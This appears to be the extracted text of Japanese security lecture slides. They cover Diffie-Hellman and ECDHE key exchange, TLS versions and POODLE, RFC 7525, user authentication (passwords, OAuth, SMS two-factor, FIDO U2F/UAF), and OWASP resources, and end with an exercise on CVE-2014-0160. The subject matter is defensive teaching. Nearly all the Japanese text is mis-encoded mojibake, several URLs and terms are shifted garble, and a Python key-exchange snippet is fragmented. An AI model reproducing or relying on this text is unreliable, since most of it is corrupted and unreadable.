    # ͜ͷ஋͸௨৴ʹ৐ͤͳ͍ = ౪ௌऀʹݟ͑ͳ͍
    secret1=random.randint(2,p)
    secret2=random.randint(2,p)
    print( u'Alice͕࡞ͬͨൿີͷ஋: %d' % secret1 )
    print( u'Bob͕࡞ͬͨൿີͷ஋: %d' % secret2 )
    # ͜ͷ஋͸௨৴Ͱ૬खʹ౉͢ = ౪ௌऀʹݟ͑Δ
    public1=pow( x, secret1, p )
    public2=pow( x, secret2, p )
    print( u'Alice͔ΒBobʹૹΔ஋: %d' % public1 )
    print( u'Bob͔ΒAliceʹૹΔ஋: %d' % public2 )
    # ͜ͷ஋͕Ұக͢Δ
    key1=pow( public2, secret1, p )
    ͜ͷ஋Λ伴ڞ༗Λߦ͏౓ʹ
    มߋ͢Δ
    ͜ͷ஋͕ແ͍ͱ伴Λ
    ಛఆͰ͖ͳ͍͕
    ͜ͷ஋ࣗମ͸౪ௌͰ͖ͳ͍ͨΊ
    ϑΥϫʔυηΩϡϦςΟ͕ಘΒΕΔ
    ൿີͷ஋͕ຖճมΘΔͷͰ૬ख͕ຊ෺͔Ͳ͏͔ͷ֬ೝ͕Ͱ͖ͳ͘ͳΔ
    ૬ख͕ຊ෺Ͱ͋Δ͜ͱͷ֬ೝ͸RSAΛ࢖ͬͯߦ͏

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  175. DHE-RSA-AES256-SHA256
    TLS͕Diffie-Hellman伴ڞ༗Λ࢖͍ͬͯΔ͔Ͳ͏͔
    TLSͷ҉߸εΠʔτ໊ΛݟΕ͹Θ͔Δ
    ڞ௨伴ͷڞ༗ʹ
    Diffie-Hellman Ephemeral
    Λ࢖͏
    ௨৴૬ख͕ຊ෺Ͱ͋ΔࣄΛ
    RSAͰ͔֬ΊΔ
    256bitͷAESΛ࢖ͬͯσʔλΛ҉߸Խ͢Δ
    σʔλͷվ͟ΜΛݕग़͢ΔͨΊʹڞ௨伴ͱσʔλͷ
    SHA-256ϋογϡΛ࢖͏

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  176. ପԁ཭ࢄର਺໰୊
    ཭ࢄର਺໰୊͸
    ର਺࣌ؒͰܭࢉͨ݁͠Ռ͔Βٯࢉ͢Δͷʹ
    ࢦ਺࣌ؒΛཁ͢Δ໰୊Ͱ͋Δ
    ٯࢉͰ͖ͳ͍Θ͚Ͱ͸ͳ͍ͷͰ
    े෼େ͖ͳ஋Λ࢖ͬͯٯࢉʹ͕͔͔࣌ؒΔΑ͏ʹ͢Δඞཁ͕͋Δ
    ପԁ཭ࢄର਺໰୊͸
    ର਺࣌ؒͰܭࢉͨ݁͠Ռ͔Βٯࢉ͢Δํ๏͕஌ΒΕ͍ͯͳ͍
    ٯࢉ͢Δํ๏͕ൃݟ͞Εͳ͍ݶΓ͸
    ૯౰ͨΓ߈ܸʹ଱͑ΒΕΔఔ౓ͷେ͖͞ͷ஋Ͱྑ͍

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  177. ପԁۂઢDiffie-Hellman伴ڞ༗
    ཭ࢄର਺໰୊ͷ୅ΘΓʹପԁ཭ࢄର਺໰୊Λ࢖͏
    Diffie-Hellman伴ڞ༗
    TLSʹ͓͍ͯ͸
    Elliptic Curve Diffie-Hellman Ephemeral
    ུͯ͠ECDHEͱදه͞ΕΔ
    ݱ࣌఺Ͱ౪ௌऀʹݱ࣮తͳ࣌ؒͰ伴Λ஌ΒΕͳ͍ͨΊʹ
    RFC7525Ͱਪ঑͞Ε͍ͯΔ஋ͷେ͖͞
    %J⒏F)FMMNBO伴ڞ༗ ପԁۂઢ%J⒏F)FMMNBO伴ڞ༗
    CJU CJU
    https://tools.ietf.org/html/rfc7525

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  178. ͜͜·Ͱͷ࿩͕Α͘෼͔Βͳ͔ͬͨਓʹ΋
    ͓͍֮͑ͯͯཉ͍͠ࣄ
    ౪ௌऀʹ৘ใ͕࿙Εͳ͍Α͏ʹਖ਼͘͠҉߸Λ࢖͏ͷ͸೉͍͠
    ಛผͳཧ༝͕ͳ͍ݶΓTLSΛ࢖͓͏

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  179. TLS͸ྺ࢙͋ΔϓϩτίϧͳͷͰ
    ࠓ೔Ͱ͸҆શͱݴ͑ͳ͍҉߸ٕज़ʹ΋ରԠ͍ͯ͠Δ
    TLS͸઀ଓ࣌ʹαʔόͱΫϥΠΞϯτ͕࢖͑Δ҉߸ٕज़Λௐ΂ͯ
    ྆ऀ͕ରԠ͍ͯ͠Δ҉߸ٕज़Ͱ௨৴ΛࢼΈΔ
    ྫ͑͹ࠓ೔Ͱ͸ݱ࣮తͳ࣌ؒͰղಡͰ͖Δ512bitͷRSA΍RC4ʹ΋ରԠ͍ͯ͠Δ
    SSL 2.0 SSL 3.0 TLS 1.0 TLS 1.1 TLS 1.2 TLS 1.3
    com
    ing
    soon
    1994೥ 1996೥ 1999೥ 2006೥ 2008೥

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  180. ಡΊΔ
    SSL 2.0 SSL 3.0 TLS 1.0 TLS 1.1 TLS 1.2 TLS 1.3
    com
    ing
    soon
    1994೥ 1996೥ 1999೥ 2006೥ 2008೥
    2010೥୅ʹೖͬͯݹ͍҉߸Λબ͹ͤͯ
    ݹ͍҉߸ͷऑ఺Λಥ͍ͯ౪ௌΛߦ͏੬ऑੑ͕ग़͖ͯͨ
    ΠϚυΩͷ҉߸OK ΠϚυΩͷ҉߸ແཧ
    ΠϚυΩͷ҉߸OK
    ΠϚυΩͷ҉߸ແཧ
    ऑ͍҉߸ ऑ͍҉߸
    Alice Bob
    ౪ௌऀ

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  181. POODLE(CVE-2014-3566)
    https://nvd.nist.gov/vuln/detail/CVE-2014-3566
    2010೥୅ʹೖͬͯݹ͍҉߸Λબ͹ͤͯ
    SSL 3.0ͷن্֨ͷऑ఺Λಥ͍ͯ౪ௌΛߦ͏੬ऑੑ͕ग़͖ͯͨ
    ͜͜ʹ
    /*45ʹΑΔ100%-&ͷղઆΛషΔ

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  182. SSL 2.0 SSL 3.0 TLS 1.0 TLS 1.1 TLS 1.2 TLS 1.3
    com
    ing
    soon
    1994೥ 1996೥ 1999೥ 2006೥ 2008೥
    TLS 1.3Ͱ͸ࠓͰ͸҆શͰͳ͍҉߸ٕज़͕࠷ॳ͔Β࢖༻ෆೳʹͳΔ
    TLS1.3͕ҰൠతʹͳΔ·Ͱ͸
    TLS 1.2͕࣋ͭػೳͷ͏ͪ
    ةݥͱ͞Ε͍ͯΔػೳΛ੾ͬͨঢ়ଶͰӡ༻
    SSL 3.0ͷΑ͏ͳຊ౰ʹݹ͍҉߸͔͠ରԠ͍ͯ͠ͳ͍௨৴૬ख͸
    ௨৴ΛఘΊͯ΋Β͏͔͠ͳ͍

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  183. RFC7525
    Recommendations for Secure Use of Transport Layer Security (TLS)
    and Datagram Transport Layer Security (DTLS)
    TLS 1.2ͷػೳͷ͏ͪ
    ԿΛ੾͓ͬͯ͘΂͖͔͕
    ·ͱΊΒΕ͍ͯΔ
    IUUQTUPPMTJFUGPSHIUNMSGD
    ඇެࣜͳ೔ຊޠ༁IUUQTTVNNFSXJOEKQEPDTSGD
    ͜͜ʹ
    3'$ͷ"CTUSBDUΛషΔ

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  184. ͜͜·Ͱͷ࿩͕Α͘෼͔Βͳ͔ͬͨਓʹ΋
    ͓͍֮͑ͯͯཉ͍͠ࣄ
    ౪ௌऀʹ৘ใ͕࿙Εͳ͍Α͏ʹਖ਼͘͠҉߸Λ࢖͏ͷ͸೉͍͠
    ಛผͳཧ༝͕ͳ͍ݶΓTLSΛ࢖͓͏
    TLSΛ࢖͏࣌͸
    ࠓͰ͸҆શͰ͸ͳ͍ݹ͍ػೳΛ੾Ζ͏
    NEW!

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  185. ຊ෺ͷϢʔβͱ
    ِ෺ͷϢʔβΛݟ෼͚Δ

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  186. ೝূ
    Alice
    Aliceͷ;ΓΛ͢Δ
    ѱҙ͋Δୈࡾऀ
    "MJDFͰ͢
    "MJDFͰ͢
    αʔό͕ຊ෺͔Ͳ͏͔Λ͔֬ΊΔ࣌ͱҧ͍
    Ϣʔβ͸ূ໌ॻΛ͍࣋ͬͯͳ͍

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  187. ύεϫʔυೝূ
    ύεϫʔυ͸
    Ͱ͢
    ݹ͔͘Βར༻͞Ε͍ͯΔϢʔβͷೝূํ๏
    ຊ෺ͷ"MJDFͳΒ
    ύεϫʔυΛ஌͍ͬͯΔഺ
    ʜ
    Alice
    Aliceͷ;ΓΛ͢Δ
    ѱҙ͋Δୈࡾऀ

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  188. ύεϫʔυೝূͷ໰୊఺
    ʜ๨Ε·ͨ͠
    ͍ΖΜͳαʔϏεʹ͍ΖΜͳύεϫʔυΛઃఆ͍ͯͨ͠Β
    Ϣʔβ͸ύεϫʔυΛ๨ΕΔ
    ຊ෺ͷ"MJDFͳΒ
    ύεϫʔυΛ஌͍ͬͯΔഺ
    ʜ
    Alice
    Aliceͷ;ΓΛ͢Δ
    ѱҙ͋Δୈࡾऀ

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  189. ൿີͷ࣭໰
    ͜ΕͰ͸ύεϫʔυΛΑΓ؆୯ʹ͍ͯ͠ΔΑ͏ͳ΋ͷͰ͋Δ
    ޷͖ͳ৯΂෺͸
    ͳΜͰ͔͢
    Alice
    Aliceͷ;ΓΛ͢Δ
    ѱҙ͋Δୈࡾऀ
    ਖ਼ղ
    ύεϫʔυΛઃఆ͠௚͍ͯͩ͘͠͞

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  190. OAuthೝূ
    ଟ͘ͷϢʔβ͸
    Googleɺfacebook౳ͷ
    ΞΧ΢ϯτΛ͍࣋ͬͯΔ
    αʔϏε͸
    ࣗ෼͕ͲΜͳ৘ใΛ
    ඞཁͱ͍ͯ͠Δ͔Λొ࿥͢Δ
    Ϣʔβ͸ͨ͘͞ΜͷαʔϏεΛར༻͍ͯ͠Δ
    ͦΕΒʹݸผʹύεϫʔυΛઃఆ͍ͯͨ͠Β
    ύεϫʔυΛ๨Εͯ͠·͏ͷ͸౰વͰ͋Δ

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  191. OAuthೝূ
    ͋ͷαʔϏε
    ͋ͷαʔϏεʹ
    ϩάΠϯ͍ͨ͠
    ͋ͷαʔϏεʹ
    ͜Ε͚ͩͷ৘ใΛ౉͚͢ͲOK?
    OK
    ͋ͷαʔϏεʹ
    ϦΫΤεττʔΫϯ***Λ
    ౉͍ͯͩ͘͠͞

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  192. OAuthೝূ
    ͋ͷαʔϏε
    ϦΫΤεττʔΫϯ***
    Ͱ͢
    ϦΫΤεττʔΫϯ***
    ͱ͔͍͏ͷ͕དྷͨΜ͚ͩͲ
    ͦͷਓ͸͏ͪͷAlice͞ΜͳͷͰ
    ௨͍ͯ͋͛ͯͩ͘͠͞
    Alice͞ΜͷৄࡉΛ஌Γ͍ͨ৔߹͸
    ΞΫηετʔΫϯ???Λ࢖͍ͬͯͩ͘͞

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  193. ͜͜ʹ
    χίχίಈըͷ
    ϩάΠϯը໘ΛషΔ
    Ϣʔβ͸ීஈ࢖͍ͬͯΔSNS౳ʹ
    ϩάΠϯ͢Ε͹αʔϏεΛར༻Ͱ͖Δ
    αʔϏεຖʹ
    ύεϫʔυΛ֮͑Δඞཁ΋
    αʔϏεຖʹύεϫʔυΛೖྗ͢Δඞཁ΋ͳ͍
    αʔϏεఏڙऀ͸
    ۩ମతͳϢʔβೝূΛ
    ΑͦͷαʔϏεʹؙ౤͛Ͱ͖Δ
    ͜͏͍͏ͷ
    OAuthೝূ
    OAuthೝূΛ׆༻͍ͯ͠ΔαʔϏεͷྫ χίχίಈը
    https://account.nicovideo.jp/login

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  194. 2ཁૉೝূ
    Ϣʔβ͕ຊ෺Ͱ͋Δ͜ͱΛ֬ೝ͢Δखஈ͸3ͭʹ෼ྨͰ͖Δ
    1.Ϣʔβ͸ԿΛ஌͍ͬͯΔ͔
    ύεϫʔυೝূ౳
    2.Ϣʔβ͸ԿͰ͋Δ͔
    ࢦ໲ೝূ౳
    3.Ϣʔβ͸ԿΛ͍࣋ͬͯΔ͔
    ਎෼ূͷఏࣔ౳
    1Ҏ֎͸ಛผͳ૷ஔΛཁ͢Δҝ
    ैདྷଟ͘ͷΠϯλʔωοτ্ͷαʔϏε͸1͚ͩΛ࢖͖ͬͯͨ

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  195. ϑΟογϯά
    ຊ෺ͷαʔϏε
    ِ෺ͷαʔϏε
    ύεϫʔυ͸
    Ͱ͢
    ύεϫʔυ͸
    Ͱ͢
    ύεϫʔυ͸
    Ͱ͢
    Ϣʔβ͕ԿΛ஌͍ͬͯΔ͔͸
    ϑΟογϯάʹର͢Δ଱ੑ͕ͳ͍

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  196. 2ཁૉೝূ
    Ϣʔβ͕ຊ෺Ͱ͋Δ͜ͱΛ֬ೝ͢Δखஈ͸3ͭʹ෼ྨͰ͖Δ
    1.Ϣʔβ͸ԿΛ஌͍ͬͯΔ͔
    ύεϫʔυೝূ౳
    2.Ϣʔβ͸ԿͰ͋Δ͔
    ࢦ໲ೝূ౳
    3.Ϣʔβ͸ԿΛ͍࣋ͬͯΔ͔
    ਎෼ূͷఏࣔ౳
    2ͱ3ͷ͍ͣΕ͔Λซ༻ͯ͠ͳΓ͢·͠Λ๷͙ඞཁ͕͋Δ

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  197. SMSΛར༻ͨ͠2ཁૉೝূ
    3.Ϣʔβ͸ԿΛ͍࣋ͬͯΔ͔
    Ϣʔβ͸ొ࿥͞Ε͍ͯΔܞଳి࿩Λ͍࣋ͬͯΔ͔
    ύεϫʔυ͸
    Ͱ͢
    4.4ʹૹͬͨ൪߸Λ
    ೖྗ͍ͯͩ͘͠͞


    ϩάΠϯ੒ޭ

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  198. SMSΛར༻ͨ͠2ཁૉೝূͷ໰୊఺
    ύεϫʔυ͸
    Ͱ͢

    ѱҙ͋Δୈࡾऀ͕SMSΛ೷͖ݟͰ͖ͨΒ
    ೝূΛಥഁ͞ΕΔ
    ͦ΋ͦ΋൪߸ೖྗ͢Δͷ
    ΊΜͲ͍͘͞
    ΋ͬͱ҆શ͔ͭखܰʹ
    2ཁૉೝূ͢ΔͨΊͷಓ۩͸
    ࡞Εͳ͍ͩΖ͏͔

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  199. FIDO U2F
    https://www.yubico.com/products/yubikey-hardware/
    Ϣʔβ͕͔֬ʹ͜ͷUSBσόΠεΛ͍࣋ͬͯΔࣄΛ
    ެ։伴҉߸Λ࢖ͬͯূ໌͢Δ૷ஔ
    ͜͜ʹ
    ࣮ࡍʹചΒΕ͍ͯΔ'*%06'ͷσόΠεͷը૾ΛషΔ

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  200. FIDO U2FͰϢʔβొ࿥
    Ϣʔβొ࿥
    AppIDΛఴ͑ͯ伴ੜ੒Λཁٻ
    "QQ*%ʹରԠ͢Δ
    ൿີ伴ͱެ։伴Λ࡞Δ
    ެ։伴ͱೝূثূ໌ॻͱ
    ೝূثূ໌ॻͰ࡞ͬͨॺ໊Λฦ͢
    ॺ໊Λ࢖ͬͯ
    ৴པͰ͖ΔೝূثͰ͋ΔࣄΛ֬ೝ
    ެ։伴Λอଘ
    ొ࿥׬ྃ

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  201. FIDO U2FͰϩάΠϯ
    ύεϫʔυೝূ
    "QQ*%ʹରԠ͢Δ
    ൿີ伴ͰDIBMMFOHFΛ҉߸Խ
    ҉߸Խͨ͠challengeΛฦ͢
    อଘͯ͋͠Δެ։伴Ͱ
    DIBMMFOHFΛ෮߸Ͱ͖ΔࣄΛ֬ೝ
    ೝূ׬ྃ
    ύεϫʔυΛ֬ೝ
    AppIDͱchallengeΛૹ৴

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  202. FIDO UAF
    ͦ΋ͦ΋ύεϫʔυΛೖྗ͢Δͷ͕ΊΜͲ͍͘͞
    1.Ϣʔβ͸ԿΛ஌͍ͬͯΔ͔
    ύεϫʔυೝূ౳
    2.Ϣʔβ͸ԿͰ͋Δ͔
    ࢦ໲ೝূ౳
    3.Ϣʔβ͸ԿΛ͍࣋ͬͯΔ͔
    ਎෼ূͷఏࣔ౳
    1Λ࢖Θͣʹ2ͱ3Ͱ2ཁૉೝূ͠Α͏

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  203. FIDO UAF
    ੜମೝূ͕ඞཁʹͳΔͨΊෳࡶͳϋʔυ΢ΣΞ͕ඞཁʹͳΔ͕
    Xperia XZ1͕FIDO UAF 1.1ʹ४ڌͨ͠ॳͷσόΠεʹͳͬͨࣄΛใ͡Δهࣄ
    https://fidoalliance.org/first-fido-uaf-1-1-implementations-ease-deployment-
    advanced-biometric-authentication-android-devices/
    αʔϏε͕FIDO UAFʹରԠ͢Δ͜ͱͰ
    ͜͏ͨ͠σόΠεͷϢʔβʹύεϫʔυෆཁͷೝূΛఏڙͰ͖Δ
    ͜͜ʹ
    9QFSJB9;͕'*%06"'ʹ४ڌͨ͜͠ͱΛใ͡ΔهࣄΛషΔ

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  204. Webϖʔδʹର͢Δ
    ߈ܸʹඋ͑Δ

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  205. OWASP
    https://www.owasp.org/
    ҆શͳWebΞϓϦέʔγϣϯͷҝͷ৘ใͷڞ༗΍ܒൃΛߦ͏
    ΦʔϓϯίϛϡχςΟ
    ͜͜ʹ
    08"41ͷτοϓϖʔδΛషΔ

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  206. OWASP Top 10
    WebΞϓϦέʔγϣϯ։ൃऀ΁ͷ஫ҙשىΛ໨తͱͯ͠
    WebΞϓϦέʔγϣϯͷ୅දతͳ੬ऑੑΛ10छྨબΜͩ΋ͷ
    https://www.owasp.org/images/2/23/OWASP_Top_10-2017%28ja%29.pdf
    ࠷৽൛͸OWASP Top 10 2017Ͱ೔ຊޠ༁΋ଘࡏ͢Δ
    ͜͜ʹ
    08"415PQͷදࢴΛషΔ

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  207. OWASP Top 10
    ΠϯδΣΫγϣϯ
    ೝূͷෆඋ
    ػඍͳ৘ใͷ࿐ग़
    9.-֎෦ΤϯςΟςΟࢀর
    ΞΫηε੍ޚͷෆඋ
    ෆద੾ͳηΩϡϦςΟઃఆ
    ΫϩεαΠτεΫϦϓςΟϯά
    ҆શͰͳ͍σγϦΞϥΠθʔγϣϯ
    ط஌ͷ੬ऑੑͷ͋Δίϯϙʔωϯτͷ࢖༻
    ෆे෼ͳϩΪϯάͱϞχλϦϯά

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  208. ͜͜ʹ
    08"415PQͷΠϯδΣΫγϣϯͷղઆΛషΔ
    OWASP Top 10
    https://www.owasp.org/images/2/23/
    OWASP_Top_10-2017%28ja%29.pdf
    ੬ऑੑͷछྨຖʹ
    ͲͷΑ͏ʹൃݟ͢Ε͹ྑ͍͔
    ͲͷΑ͏ʹ๷ࢭ͢Ε͹ྑ͍͔
    ͕వΊΒΕ͍ͯΔ
    ΠϯδΣΫγϣϯʹର͢Δ๷ࢭํ๏
    ΠϯλϓϦλ͔ΒΫΤϦΛ౤͛ͳ͍
    ύϥϝʔλԽ͞ΕͨΠϯλʔϑΣʔε
    ·ͨ͸ORMΛ࢖͏
    ಡ΋͏

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  209. ͜͜ʹ
    08"41"474ͷදࢴΛషΔ
    OWASP Application Security Verification Standard
    WebΞϓϦέʔγϣϯͷ҆શੑΛݕূ͢ΔͨΊʹ
    νΣοΫ͢΂͖߲໨Λ·ͱΊͨ΋ͷ
    ࠷৽൛͸OWASP ASVS 3.0.1Ͱ೔ຊޠ༁΋ଘࡏ͢Δ
    IUUQTXXXKQDFSUPSKQTFDVSFDPEJOHNBUFSJBMTPXBTQBTWTIUNM

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  210. ͜͜ʹ
    08"41"474ͷνΣοΫ߲໨ͷҰ෦ΛషΔ
    OWASP Application Security Verification Standard
    IUUQTXXXKQDFSUPSKQTFDVSFDPEJOH
    NBUFSJBMTPXBTQBTWTIUNM
    ͋ΒΏΔΞϓϦέʔγϣϯ͕ຬͨ͢΂͖Ϩϕϧ1
    ݸਓ৘ใ΍վ͟Μ͞ΕΔͱࠔΔ৘ใΛѻ͏
    ΞϓϦέʔγϣϯ͕ຬͨ͢΂͖Ϩϕϧ2
    ো֐ͷൃੜ͕૊৫ͷଘଓ΍ਓ໋ʹؔΘΔ
    ΞϓϦέʔγϣϯ͕ຬͨ͢΂͖Ϩϕϧ3
    Ϩϕϧ্͕͕Δ΄ͲνΣοΫ߲໨͕૿͑Δ
    ύεϫʔυมߋػೳʹ
    ݹ͍ύεϫʔυͷೖྗ
    ৽͍͠ύεϫʔυͷೖྗ
    ৽͍͠ύεϫʔυͷ֬ೝ
    ͷ3ͭΛཁٻ͍ͯ͠Δ͔Ͳ͏͔ΛνΣοΫ
    WebΞϓϦέʔγϣϯΛ࡞ͬͨΒ
    νΣοΫ͠Α͏

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  211. ͜͜ʹ
    08"418FC(PBUͷը૾ΛషΔ
    OWASP WebGoat
    https://github.com/WebGoat/WebGoat
    JavaͰॻ͔ΕͨWebΞϓϦέʔγϣϯ
    ҙਤతʹ༷ʑͳ੬ऑੑ͕࢓ࠐ·Ε͍ͯΔ
    ੬ऑੑΛ࣮ફతʹֶͼ͍ͨ
    ࣗ෼ͷߦͳ͍ͬͯΔ੬ऑੑͷνΣοΫ͕
    ਖ਼͍͔͔֬͠Ί͍ͨ
    ͦ͏͍͏࣌ʹ࢖͑Δ

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  212. ͋ΒΏΔιϑτ΢ΣΞηΩϡϦςΟ͸
    ෺ཧతͳηΩϡϦςΟΛલఏͱ͍ͯ͠Δ
    ѱҙ͋Δୈࡾऀ͕αʔόϧʔϜʹ৵ೖͯ͠ిݯέʔϒϧΛൈ͘͜ͱͰ
    αʔϏεΛఀࢭͤ͞Δ͜ͱ͕Ͱ͖Δ੬ऑੑ
    ·ͣށకΓ
    ιϑτ΢ΣΞηΩϡϦςΟ͸ͦΕ͔Βͩ
    ͜ͷΑ͏ͳ߈ܸʹରͯ͠ιϑτ΢ΣΞ͸جຊతʹଧͭख͕ͳ͍

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  213. ՝୊
    CVE-2014-0160
    ͜ͷ੬ऑੑ͕Ͳ͏͍͏࣌ʹԿ͕ى͜Δ΋ͷͰ
    ͦͷ݁ՌͲͷΑ͏ͳѱӨڹ͕༧૝͞ΕΔ͔Λઆ໌͍ͯͩ͘͠͞
    ͜ͷ੬ऑੑΛճආ͢ΔͨΊʹͱΓ͏ΔରԠΛ1ͭҎ্ड़΂͍ͯͩ͘͞

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